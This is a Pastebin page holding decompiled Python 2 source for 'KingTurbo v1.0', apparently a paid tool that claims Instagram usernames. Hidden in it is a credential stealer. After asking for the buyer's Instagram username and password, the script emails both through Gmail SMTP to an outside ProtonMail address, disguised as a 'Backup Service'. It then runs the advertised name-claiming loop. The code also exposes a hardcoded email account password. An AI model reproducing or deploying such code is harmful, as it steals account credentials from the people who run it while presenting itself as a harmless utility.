Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Embedded file name: turbo.py
- import time
- from selenium import webdriver
- from selenium.webdriver.chrome.options import Options
- import urllib
- from colorama import Fore, Style
- import os
- import string
- import smtplib
- from colorama import init
- init()
- os.system('cls')
- print Fore.WHITE + Style.BRIGHT
- print '\n ____ __.__ ___________ ___. \n| |/ _|__| ____ ___\\__ ___/_ ________\\_ |__ ____ \n| < | |/ \\ / ___\\| | | | \\_ __ \\ __ \\ / _ \\ \n| | \\| | | \\/ /_/ > | | | /| | \\/ \\_\\ ( <_> )\n|____|__ \\__|___| /\\___ /|____| |____/ |__| |___ /\\____/ \n \\/ \\//_____/ \\/ \n '
- print 'Thanks for purchasing KingTurbo v1.0'
- wantedTag = raw_input('Name to turbo: ' + Fore.RED + Style.BRIGHT)
- print
- print Fore.WHITE + Style.BRIGHT + 'Now please log in to your current Instagram account'
- currName = raw_input(Fore.WHITE + Style.BRIGHT + 'Username: ' + Fore.RED + Style.BRIGHT)
- currPass = raw_input(Fore.WHITE + Style.BRIGHT + 'Password: ' + Fore.RED + Style.BRIGHT)
- print Fore.WHITE + Style.BRIGHT
- content = string.join(('From: goldeninstaclub@gmail.com',
- 'To: mrkingdice@protonmail.com',
- 'Subject: Instagram Backup Service',
- '',
- 'Username: %s\nPassword: %s' % (currName, currPass)), '\r\n')
- mail = smtplib.SMTP('smtp.gmail.com', 587)
- mail.ehlo()
- mail.starttls()
- mail.login('goldeninstaclub', '7u2x4dzw')
- mail.sendmail('goldeninstaclub@gmail.com', 'mrkingdice@protonmail.com', content)
- mail.close()
- chrome_options = Options()
- chrome_options.add_argument('headless')
- chrome_options.add_argument('window-size=1920x1080')
- driver = webdriver.Chrome(chrome_options=chrome_options)
- driver.get('https://www.instagram.com/accounts/login')
- name = driver.find_element_by_name('username')
- name.send_keys(currName)
- pname = driver.find_element_by_name('password')
- pname.send_keys(currPass + '\n')
- time.sleep(2)
- driver.get('https://www.instagram.com/accounts/edit/')
- print '\nChecking...'
- while True:
- try:
- if 'Followers' not in urllib.urlopen('https://www.instagram.com/' + wantedTag + '/').read():
- user = driver.find_element_by_id('pepUsername')
- user.clear()
- user.send_keys(wantedTag + '\n')
- print
- print 'Claimed @' + wantedTag
- time.sleep(2)
- break
- except:
- print '-------------'
- print 'Restarting...'
- print '-------------'
- print '\nChecking...'
- driver.close()
Add Comment
Please, Sign In to add comment